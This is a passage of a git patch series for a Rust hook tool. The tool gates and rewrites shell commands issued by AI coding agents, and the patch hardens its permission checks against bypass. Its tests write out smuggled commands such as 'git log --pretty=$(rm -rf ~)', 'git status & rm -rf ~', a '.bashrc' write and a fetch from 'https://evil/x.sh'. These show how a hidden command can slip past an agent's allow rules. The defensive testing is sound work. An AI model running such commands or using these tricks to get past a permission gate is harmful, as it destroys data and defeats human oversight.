tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- contains_unattestable_construct (security) ------------------------- + + #[test] + fn test_unattestable_backtick() { + assert!(contains_unattestable_construct("git status `whoami`")); + } + + #[test] + fn test_unattestable_command_substitution() { + assert!(contains_unattestable_construct( + "git log --pretty=$(rm -rf ~)" + )); + } + + #[test] + fn test_unattestable_process_substitution() { + assert!(contains_unattestable_construct("diff <(secret) <(other)")); + assert!(contains_unattestable_construct("tee >(cat)")); + } + + #[test] + fn test_unattestable_substitution_inside_double_quotes() { + assert!(contains_unattestable_construct( + r#"git log --pretty="$(rm -rf ~)""# + )); + assert!(contains_unattestable_construct( + r#"git log --pretty="`rm -rf ~`""# + )); + assert!(contains_unattestable_construct( + r#"git -c x="$(whoami)" status"# + )); + } + + #[test] + fn test_attestable_substitution_inside_single_quotes() { + assert!(!contains_unattestable_construct("echo '$(rm -rf ~)'")); + assert!(!contains_unattestable_construct("echo '`whoami`'")); + assert!(!contains_unattestable_construct(r#"echo "\$(rm -rf ~)""#)); + } + + #[test] + fn test_unattestable_file_redirects() { + assert!(contains_unattestable_construct("git log > /tmp/x")); + assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); + assert!(contains_unattestable_construct("cmd &> /tmp/x")); + assert!(contains_unattestable_construct("cat < /etc/passwd")); + assert!(contains_unattestable_construct("cat << EOF")); + } + + #[test] + fn test_attestable_fd_dup_and_devnull_redirects() { + assert!(!contains_unattestable_construct("git status 2>&1")); + assert!(!contains_unattestable_construct("cmd >&2")); + assert!(!contains_unattestable_construct("cmd 2>&-")); + assert!(!contains_unattestable_construct("cmd 2>/dev/null")); + assert!(!contains_unattestable_construct("cmd > /dev/null")); + assert!(!contains_unattestable_construct("cmd &> /dev/null")); + } + + #[test] + fn test_attestable_subshell_and_separators() { + assert!(!contains_unattestable_construct( + "(git status; cargo build)" + )); + assert!(!contains_unattestable_construct( + "git status && cargo build" + )); + assert!(!contains_unattestable_construct("git status; cargo build")); + assert!(!contains_unattestable_construct("git log | head")); + assert!(!contains_unattestable_construct("sleep 1 &")); + assert!(!contains_unattestable_construct("git status\ncargo build")); + } + + #[test] + fn test_attestable_variable_expansion() { + assert!(!contains_unattestable_construct("echo $HOME")); + assert!(!contains_unattestable_construct("echo ${HOME}")); + assert!(!contains_unattestable_construct("git status")); + assert!(!contains_unattestable_construct("")); + } + + // --- split_for_permissions --------------------------------------------- + + #[test] + fn test_split_perms_operators() { + assert_eq!( + split_for_permissions("git status && cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git status; cargo build"), + vec!["git status", "cargo build"] + ); + assert_eq!( + split_for_permissions("git log | head"), + vec!["git log", "head"] + ); + } + + #[test] + fn test_split_perms_newline() { + assert_eq!( + split_for_permissions("git status\ncargo build"), + vec!["git status", "cargo build"] + ); + } + + #[test] + fn test_split_perms_background_ampersand() { + assert_eq!( + split_for_permissions("git status & rm -rf ~"), + vec!["git status", "rm -rf ~"] + ); + assert_eq!(split_for_permissions("sleep 1 &"), vec!["sleep 1"]); + } + + #[test] + fn test_split_perms_subshell() { + assert_eq!( + split_for_permissions("(git status; cargo build)"), + vec!["git status", "cargo build"] + ); + assert_eq!(split_for_permissions("((a; b); c)"), vec!["a", "b", "c"]); + } + + #[test] + fn test_split_perms_truncates_at_redirect() { + assert_eq!(split_for_permissions("git status 2>&1"), vec!["git status"]); + assert_eq!(split_for_permissions("git log > /tmp/x"), vec!["git log"]); + assert_eq!( + split_for_permissions("git push --force 2>&1"), + vec!["git push --force"] + ); + } + + #[test] + fn test_split_perms_newline_inside_quotes_not_split() { + let segments = split_for_permissions("echo 'line1\nline2'"); + assert_eq!(segments.len(), 1); + assert!(segments[0].starts_with("echo")); + } + + #[test] + fn test_split_perms_empty() { + assert!(split_for_permissions("").is_empty()); + assert!(split_for_permissions(" ").is_empty()); + } } diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 36825e3c5e..537b106fa6 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -120,23 +120,40 @@ fn get_rewritten(cmd: &str) -> Option { Some(rewritten) } -fn handle_vscode(cmd: &str) -> Result<()> { - let verdict = permissions::check_command(cmd); +enum HookDecision { + AllowRewrite(String), + AskRewrite(String), + Defer, + Deny, +} + +fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { if verdict == PermissionVerdict::Deny { - audit_log("deny", cmd, ""); - return Ok(()); + return HookDecision::Deny; } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return HookDecision::Defer; + } + match get_rewritten(cmd) { + Some(r) if verdict == PermissionVerdict::Allow => HookDecision::AllowRewrite(r), + Some(r) => HookDecision::AskRewrite(r), + None => HookDecision::Defer, + } +} - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => return Ok(()), - }; +fn decide_hook_action(cmd: &str) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command(cmd)) +} - // Allow (explicit rule matched): auto-allow the rewritten command. - // Ask/Default (no allow rule matched): rewrite but let the host tool prompt. - let decision = match verdict { - PermissionVerdict::Allow => "allow", - _ => "ask", +fn handle_vscode(cmd: &str) -> Result<()> { + let (decision, rewritten) = match decide_hook_action(cmd) { + HookDecision::Deny => { + audit_log("deny", cmd, ""); + return Ok(()); + } + HookDecision::Defer => return Ok(()), + HookDecision::AllowRewrite(r) => ("allow", r), + HookDecision::AskRewrite(r) => ("ask", r), }; audit_log("rewrite", cmd, &rewritten); @@ -159,6 +176,10 @@ fn handle_copilot_cli(cmd: &str) -> Result<()> { return Ok(()); } + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return Ok(()); + } + let rewritten = match get_rewritten(cmd) { Some(r) => r, None => return Ok(()), @@ -202,25 +223,22 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - // Check deny rules — Gemini CLI only supports allow/deny (no ask mode). - if permissions::check_command(cmd) == PermissionVerdict::Deny { - let _ = writeln!( - io::stdout(), - r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# - ); - return Ok(()); - } - - let (excluded, transparent_prefixes) = crate::core::config::Config::load() - .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) - .unwrap_or_default(); - - match rewrite_command(cmd, &excluded, &transparent_prefixes) { - Some(ref rewritten) => { + match decide_hook_action(cmd) { + HookDecision::Deny => { + let _ = writeln!( + io::stdout(), + r#"{{"decision":"deny","reason":"Blocked by RTK permission rule"}}"# + ); + } + HookDecision::AllowRewrite(ref rewritten) => { audit_log("rewrite", cmd, rewritten); - print_rewrite(rewritten); + print_gemini("allow", Some(rewritten)); } - None => print_allow(), + HookDecision::AskRewrite(ref rewritten) => { + audit_log("ask", cmd, rewritten); + print_gemini("ask_user", Some(rewritten)); + } + HookDecision::Defer => print_gemini("ask_user", None), } Ok(()) @@ -230,16 +248,16 @@ fn print_allow() { let _ = writeln!(io::stdout(), r#"{{"decision":"allow"}}"#); } -fn print_rewrite(cmd: &str) { - let output = serde_json::json!({ - "decision": "allow", - "hookSpecificOutput": { - "tool_input": { - "command": cmd - } - } - }); - let _ = writeln!(io::stdout(), "{}", output); +fn gemini_json(decision: &str, rewrite: Option<&str>) -> String { + let mut output = serde_json::json!({ "decision": decision }); + if let Some(cmd) = rewrite { + output["hookSpecificOutput"] = serde_json::json!({ "tool_input": { "command": cmd } }); + } + output.to_string() +} + +fn print_gemini(decision: &str, rewrite: Option<&str>) { + let _ = writeln!(io::stdout(), "{}", gemini_json(decision, rewrite)); } // ── Audit logging ───────────────────────────────────────────── @@ -307,22 +325,21 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let verdict = permissions::check_command(cmd); - if verdict == PermissionVerdict::Deny { - return PayloadAction::Skip { - reason: "skip:deny_rule", - cmd: cmd.to_string(), - }; - } - - let rewritten = match get_rewritten(cmd) { - Some(r) => r, - None => { + let (rewritten, allow) = match decide_hook_action(cmd) { + HookDecision::Deny => { + return PayloadAction::Skip { + reason: "skip:deny_rule", + cmd: cmd.to_string(), + } + } + HookDecision::Defer => { return PayloadAction::Skip { - reason: "skip:no_match", + reason: "skip:defer", cmd: cmd.to_string(), } } + HookDecision::AllowRewrite(r) => (r, true), + HookDecision::AskRewrite(r) => (r, false), }; let updated_input = { @@ -339,7 +356,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { "updatedInput": updated_input }); - if verdict == PermissionVerdict::Allow { + if allow { hook_output .as_object_mut() .unwrap() @@ -441,40 +458,29 @@ pub fn run_cursor() -> Result<()> { } }; - let verdict = permissions::check_command(&cmd); - if verdict == PermissionVerdict::Deny { - audit_log("deny", &cmd, ""); - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); - } - - let rewritten = match get_rewritten(&cmd) { - Some(r) => r, - None => { - let _ = writeln!(io::stdout(), "{{}}"); - return Ok(()); + let output = match decide_hook_action(&cmd) { + HookDecision::AllowRewrite(rewritten) => { + audit_log("rewrite", &cmd, &rewritten); + cursor_allow(&rewritten) + } + other => { + if matches!(other, HookDecision::Deny) { + audit_log("deny", &cmd, ""); + } + "{}".to_string() } }; + let _ = writeln!(io::stdout(), "{output}"); + Ok(()) +} - // Cursor preToolUse currently enforces allow/deny only and can ignore - // updated_input when permission is "ask". Use "allow" for rewritten - // commands unless the command is explicitly denied above. - let decision = "allow"; - - audit_log("rewrite", &cmd, &rewritten); - - // `continue: true` mirrors the shape of every other Cursor hook - // (afterShellExecution, beforeSubmitPrompt, stop, ...). Cursor's - // preToolUse panel renders the JSON it received; without this field - // the panel collapses to `Output: {}` even though the rewrite ran, - // which makes the hook look broken to users. - let output = json!({ +fn cursor_allow(rewritten: &str) -> String { + json!({ "continue": true, - "permission": decision, + "permission": "allow", "updated_input": { "command": rewritten } - }); - let _ = writeln!(io::stdout(), "{output}"); - Ok(()) + }) + .to_string() } #[cfg(test)] @@ -505,21 +511,9 @@ fn run_cursor_inner_with_rules( }; let verdict = permissions::check_command_with_rules(&cmd, deny_rules, ask_rules, allow_rules); - if verdict == PermissionVerdict::Deny { - return "{}".to_string(); - } - - match get_rewritten(&cmd) { - Some(rewritten) => { - let decision = "allow"; - let output = json!({ - "continue": true, - "permission": decision, - "updated_input": { "command": rewritten } - }); - output.to_string() - } - None => "{}".to_string(), + match decide_from_verdict(&cmd, verdict) { + HookDecision::AllowRewrite(rewritten) => cursor_allow(&rewritten), + _ => "{}".to_string(), } } @@ -713,6 +707,26 @@ mod tests { assert!(run_claude_inner(&claude_input("htop")).is_none()); } + #[test] + fn test_claude_substitution_not_rewritten() { + // A substitution payload must never be rewritten into updatedInput; + // RTK skips so Claude Code evaluates the original command natively. + assert!(run_claude_inner(&claude_input("git status `rm -rf /tmp/x`")).is_none()); + assert!(run_claude_inner(&claude_input("git status $(rm -rf /tmp/x)")).is_none()); + assert!(run_claude_inner(&claude_input("git log --pretty=\"$(rm -rf /tmp/x)\"")).is_none()); + } + + #[test] + fn test_claude_file_redirect_not_rewritten() { + assert!(run_claude_inner(&claude_input("git log > /tmp/out.txt")).is_none()); + } + + #[test] + fn test_claude_fd_dup_redirect_still_rewritten() { + // `2>&1` is attestable — the rewrite proceeds as normal. + assert!(run_claude_inner(&claude_input("git status 2>&1")).is_some()); + } + #[test] fn test_claude_heredoc_passthrough() { assert!(run_claude_inner(&claude_input("cat < String { + run_cursor_inner_with_rules(input, &[], &[], &["*".to_string()]) + } + #[test] fn test_cursor_rewrite_flat_format() { - let result = run_cursor_inner(&cursor_input("git status")); + let result = run_cursor_allowed(&cursor_input("git status")); let v: Value = serde_json::from_str(&result).unwrap(); // Cursor preToolUse expects allow/deny for rewrite application. assert_eq!(v["permission"], "allow"); @@ -803,6 +821,34 @@ mod tests { assert_eq!(v["continue"], true); } + #[test] + fn test_cursor_no_allow_rule_defers() { + assert_eq!(run_cursor_inner(&cursor_input("git status")), "{}"); + } + + #[test] + fn test_cursor_substitution_defers_even_when_allowed() { + assert_eq!( + run_cursor_allowed(&cursor_input("git status `rm -rf /tmp/x`")), + "{}" + ); + assert_eq!( + run_cursor_allowed(&cursor_input("git status $(rm -rf /tmp/x)")), + "{}" + ); + } + + #[test] + fn test_cursor_unallowed_segment_defers() { + let out = run_cursor_inner_with_rules( + &cursor_input("git status && rm -rf /tmp/x"), + &[], + &[], + &["git *".to_string()], + ); + assert_eq!(out, "{}"); + } + #[test] fn test_cursor_passthrough_empty_json() { let result = run_cursor_inner(&cursor_input("htop")); @@ -829,7 +875,7 @@ mod tests { #[test] fn test_cursor_no_hook_specific_output() { - let result = run_cursor_inner(&cursor_input("cargo test")); + let result = run_cursor_allowed(&cursor_input("cargo test")); let v: Value = serde_json::from_str(&result).unwrap(); assert!(v.get("hookSpecificOutput").is_none()); assert_eq!(v["permission"], "allow"); @@ -839,7 +885,7 @@ mod tests { #[test] fn test_cursor_compound_rewrite_includes_continue() { let cmd = "cd \"/tmp/proj\" && git status"; - let result = run_cursor_inner(&cursor_input(cmd)); + let result = run_cursor_allowed(&cursor_input(cmd)); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -856,7 +902,7 @@ mod tests { // the hook returned `{}` and the rewrite became a silent no-op. let payload = cursor_input("git status"); let with_single_bom = format!("\u{feff}{}", payload); - let result = run_cursor_inner(&with_single_bom); + let result = run_cursor_allowed(&with_single_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -871,7 +917,7 @@ mod tests { // the real-world payload shape the loop needs to survive. let payload = cursor_input("git status"); let with_double_bom = format!("\u{feff}\u{feff}{}", payload); - let result = run_cursor_inner(&with_double_bom); + let result = run_cursor_allowed(&with_double_bom); let v: Value = serde_json::from_str(&result).unwrap(); assert_eq!(v["continue"], true); assert_eq!(v["permission"], "allow"); @@ -988,4 +1034,137 @@ mod tests { "cargo test should be rewritable when not denied" ); } + + // --- Shared decision flow (all hosts route through this) --- + + fn decide_with_rules( + cmd: &str, + deny: &[String], + ask: &[String], + allow: &[String], + ) -> HookDecision { + let verdict = permissions::check_command_with_rules(cmd, deny, ask, allow); + decide_from_verdict(cmd, verdict) + } + + fn all_allowed() -> Vec { + vec!["*".to_string()] + } + + #[test] + fn test_decide_allow_for_attestable_allowed_command() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + #[test] + fn test_decide_ask_for_default_verdict() { + assert!(matches!( + decide_with_rules("git status", &[], &[], &[]), + HookDecision::AskRewrite(_) + )); + } + + #[test] + fn test_decide_deny() { + assert!(matches!( + decide_with_rules( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &all_allowed() + ), + HookDecision::Deny + )); + } + + #[test] + fn test_decide_defer_for_substitution_even_when_allowed() { + for cmd in [ + "git status `rm -rf /tmp/x`", + "git status $(rm -rf /tmp/x)", + "git log --pretty=\"$(rm -rf /tmp/x)\"", + ] { + assert!( + matches!( + decide_with_rules(cmd, &[], &[], &all_allowed()), + HookDecision::Defer + ), + "expected Defer for {cmd}" + ); + } + } + + #[test] + fn test_decide_defer_for_file_redirect() { + assert!(matches!( + decide_with_rules("git log > /tmp/out.txt", &[], &[], &all_allowed()), + HookDecision::Defer + )); + } + + #[test] + fn test_decide_allow_for_fd_dup_redirect() { + assert!(matches!( + decide_with_rules("git status 2>&1", &[], &[], &all_allowed()), + HookDecision::AllowRewrite(_) + )); + } + + // --- Gemini rendering --- + + fn gemini_render(cmd: &str, deny: &[String], ask: &[String], allow: &[String]) -> String { + match decide_with_rules(cmd, deny, ask, allow) { + HookDecision::Deny => { + r#"{"decision":"deny","reason":"Blocked by RTK permission rule"}"#.to_string() + } + HookDecision::AllowRewrite(r) => gemini_json("allow", Some(&r)), + HookDecision::AskRewrite(r) => gemini_json("ask_user", Some(&r)), + HookDecision::Defer => gemini_json("ask_user", None), + } + } + + #[test] + fn test_gemini_allow_emits_rewrite() { + let v: Value = + serde_json::from_str(&gemini_render("git status", &[], &[], &all_allowed())).unwrap(); + assert_eq!(v["decision"], "allow"); + assert_eq!( + v["hookSpecificOutput"]["tool_input"]["command"], + "rtk git status" + ); + } + + #[test] + fn test_gemini_default_asks_user() { + let v: Value = serde_json::from_str(&gemini_render("git status", &[], &[], &[])).unwrap(); + assert_eq!(v["decision"], "ask_user"); + } + + #[test] + fn test_gemini_substitution_asks_user_without_rewrite() { + let v: Value = serde_json::from_str(&gemini_render( + "git status `rm -rf /tmp/x`", + &[], + &[], + &all_allowed(), + )) + .unwrap(); + assert_eq!(v["decision"], "ask_user"); + assert!(v.get("hookSpecificOutput").is_none()); + } + + #[test] + fn test_gemini_deny_decision() { + let v: Value = serde_json::from_str(&gemini_render( + "rm -rf /tmp/x", + &["rm -rf".to_string()], + &[], + &[], + )) + .unwrap(); + assert_eq!(v["decision"], "deny"); + } } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 71536b0e1a..9519cfcd83 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,6 +1,6 @@ use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; -use crate::discover::lexer::split_on_operators; +use crate::discover::lexer::split_for_permissions; use serde_json::Value; use std::path::PathBuf; @@ -35,6 +35,22 @@ pub(crate) fn check_command_with_rules( allow_rules: &[String], ) -> PermissionVerdict { let segments = split_compound_command(cmd); + + // Deny takes highest priority and pre-empts every other construct. + for segment in &segments { + let segment = segment.trim(); + for pattern in deny_rules { + if command_matches_pattern(segment, pattern) { + return PermissionVerdict::Deny; + } + } + } + + // Can't decompose substitution / file-target redirects — never auto-allow. + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return PermissionVerdict::Ask; + } + let mut any_ask = false; // Every non-empty segment must independently match an allow rule for the // compound command to receive Allow. See issue #1213: previously a single @@ -49,13 +65,6 @@ pub(crate) fn check_command_with_rules( } saw_segment = true; - // Deny takes highest priority — any segment matching Deny blocks the whole chain. - for pattern in deny_rules { - if command_matches_pattern(segment, pattern) { - return PermissionVerdict::Deny; - } - } - // Ask — if any segment matches an ask rule, the final verdict is Ask. if !any_ask { for pattern in ask_rules { @@ -288,7 +297,7 @@ fn glob_matches(cmd: &str, pattern: &str) -> bool { } fn split_compound_command(cmd: &str) -> Vec<&str> { - split_on_operators(cmd, false) + split_for_permissions(cmd) } #[cfg(test)] @@ -704,4 +713,134 @@ mod tests { PermissionVerdict::Ask ); } + + // --- Permission-gate bypass hardening ----------------------------------- + + #[test] + fn test_newline_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_newline_hidden_command_not_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow), + PermissionVerdict::Default + ); + } + + #[test] + fn test_background_hidden_command_denied() { + let deny = vec!["rm:*".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } + + #[test] + fn test_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + "git log --pretty=$(rm -rf ~)", + "git status `whoami`", + "git diff $(curl https://evil/x.sh)", + ] { + assert_eq!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Ask, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_double_quoted_substitution_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + for cmd in [ + r#"git log --pretty="$(rm -rf ~)""#, + r#"git log --pretty="`rm -rf ~`""#, + ] { + assert_ne!( + check_command_with_rules(cmd, &[], &[], &allow), + PermissionVerdict::Allow, + "{cmd} must not auto-allow" + ); + } + } + + #[test] + fn test_single_quoted_substitution_is_literal() { + let allow = vec!["echo *".to_string()]; + assert_eq!( + check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_file_redirect_never_auto_allowed() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), + PermissionVerdict::Ask + ); + } + + #[test] + fn test_legitimate_multiline_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("git status\ncargo build", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_subshell_allow() { + let allow = vec!["git *".to_string(), "cargo *".to_string()]; + assert_eq!( + check_command_with_rules("(git status; cargo build)", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_legitimate_background_allow() { + let allow = vec!["cargo *".to_string()]; + assert_eq!( + check_command_with_rules("cargo build &", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_fd_dup_redirect_stays_allow() { + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git status 2>&1", &[], &[], &allow), + PermissionVerdict::Allow + ); + assert_eq!( + check_command_with_rules("git log 2>/dev/null", &[], &[], &allow), + PermissionVerdict::Allow + ); + } + + #[test] + fn test_deny_not_evaded_by_trailing_fd_dup() { + let deny = vec!["git push --force".to_string()]; + let allow = vec!["git *".to_string()]; + assert_eq!( + check_command_with_rules("git push --force 2>&1", &deny, &[], &allow), + PermissionVerdict::Deny + ); + } } diff --git a/src/hooks/rewrite_cmd.rs b/src/hooks/rewrite_cmd.rs index 215693be6b..685aa3015c 100644 --- a/src/hooks/rewrite_cmd.rs +++ b/src/hooks/rewrite_cmd.rs @@ -20,32 +20,47 @@ pub fn run(cmd: &str) -> anyhow::Result<()> { .map(|c| (c.hooks.exclude_commands, c.hooks.transparent_prefixes)) .unwrap_or_default(); - // SECURITY: check deny/ask BEFORE rewrite so non-RTK commands are also covered. + match evaluate(cmd, &excluded, &transparent_prefixes) { + RewriteOutcome::Allow(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + Ok(()) + } + RewriteOutcome::Ask(rewritten) => { + print!("{}", rewritten); + let _ = std::io::stdout().flush(); + std::process::exit(3); + } + RewriteOutcome::Deny => std::process::exit(2), + RewriteOutcome::Passthrough => std::process::exit(1), + } +} + +#[derive(Debug, PartialEq)] +enum RewriteOutcome { + Allow(String), + Passthrough, + Deny, + Ask(String), +} + +fn evaluate(cmd: &str, excluded: &[String], transparent_prefixes: &[String]) -> RewriteOutcome { let verdict = check_command(cmd); if verdict == PermissionVerdict::Deny { - std::process::exit(2); + return RewriteOutcome::Deny; } - match registry::rewrite_command(cmd, &excluded, &transparent_prefixes) { + if crate::discover::lexer::contains_unattestable_construct(cmd) { + return RewriteOutcome::Passthrough; + } + + match registry::rewrite_command(cmd, excluded, transparent_prefixes) { Some(rewritten) => match verdict { - PermissionVerdict::Allow => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - Ok(()) - } - PermissionVerdict::Ask | PermissionVerdict::Default => { - print!("{}", rewritten); - let _ = std::io::stdout().flush(); - std::process::exit(3); - } - PermissionVerdict::Deny => unreachable!(), + PermissionVerdict::Allow => RewriteOutcome::Allow(rewritten), + _ => RewriteOutcome::Ask(rewritten), }, - None => { - // No RTK equivalent. Exit 1 = passthrough. - // Claude Code independently evaluates its own ask rules on the original cmd. - std::process::exit(1); - } + None => RewriteOutcome::Passthrough, } } @@ -75,6 +90,58 @@ mod tests { ); } + mod unattestable_passthrough { + use super::super::{evaluate, RewriteOutcome}; + + #[test] + fn test_backtick_substitution_passthrough() { + assert_eq!( + evaluate("git status `rm -rf /tmp/x`", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_dollar_substitution_passthrough() { + assert_eq!( + evaluate("git status $(rm -rf /tmp/x)", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_double_quoted_substitution_passthrough() { + assert_eq!( + evaluate("git log --pretty=\"$(rm -rf /tmp/x)\"", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_file_redirect_passthrough() { + assert_eq!( + evaluate("git log > /tmp/out.txt", &[], &[]), + RewriteOutcome::Passthrough + ); + } + + #[test] + fn test_fd_dup_redirect_still_rewrites() { + assert!(matches!( + evaluate("git status 2>&1", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + + #[test] + fn test_plain_command_still_rewrites() { + assert!(matches!( + evaluate("git status", &[], &[]), + RewriteOutcome::Ask(_) + )); + } + } + /// SECURITY: Verify the exit code protocol for permission verdicts. /// /// The bash hook (.claude/hooks/rtk-rewrite.sh) interprets exit codes as: From 6ab149ba3e41bb41b99794ef55d384c9be96b91b Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 18:15:19 +0200 Subject: [PATCH 188/204] fix(permissions): cursor and gemini use correct permissions settings file - --- src/hooks/hook_cmd.rs | 12 +++--- src/hooks/permissions.rs | 93 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 97 insertions(+), 8 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 537b106fa6..c4584afe2c 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -141,12 +141,12 @@ fn decide_from_verdict(cmd: &str, verdict: PermissionVerdict) -> HookDecision { } } -fn decide_hook_action(cmd: &str) -> HookDecision { - decide_from_verdict(cmd, permissions::check_command(cmd)) +fn decide_hook_action(cmd: &str, host: permissions::Host) -> HookDecision { + decide_from_verdict(cmd, permissions::check_command_for(cmd, host)) } fn handle_vscode(cmd: &str) -> Result<()> { - let (decision, rewritten) = match decide_hook_action(cmd) { + let (decision, rewritten) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { audit_log("deny", cmd, ""); return Ok(()); @@ -223,7 +223,7 @@ pub fn run_gemini() -> Result<()> { return Ok(()); } - match decide_hook_action(cmd) { + match decide_hook_action(cmd, permissions::Host::Gemini) { HookDecision::Deny => { let _ = writeln!( io::stdout(), @@ -325,7 +325,7 @@ fn process_claude_payload(v: &Value) -> PayloadAction { None => return PayloadAction::Ignore, }; - let (rewritten, allow) = match decide_hook_action(cmd) { + let (rewritten, allow) = match decide_hook_action(cmd, permissions::Host::Claude) { HookDecision::Deny => { return PayloadAction::Skip { reason: "skip:deny_rule", @@ -458,7 +458,7 @@ pub fn run_cursor() -> Result<()> { } }; - let output = match decide_hook_action(&cmd) { + let output = match decide_hook_action(&cmd, permissions::Host::Cursor) { HookDecision::AllowRewrite(rewritten) => { audit_log("rewrite", &cmd, &rewritten); cursor_allow(&rewritten) diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 9519cfcd83..26ad9adf0b 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -1,4 +1,4 @@ -use super::constants::{CLAUDE_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; +use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON}; use crate::core::stream::exec_capture; use crate::discover::lexer::split_for_permissions; use serde_json::Value; @@ -23,7 +23,23 @@ pub enum 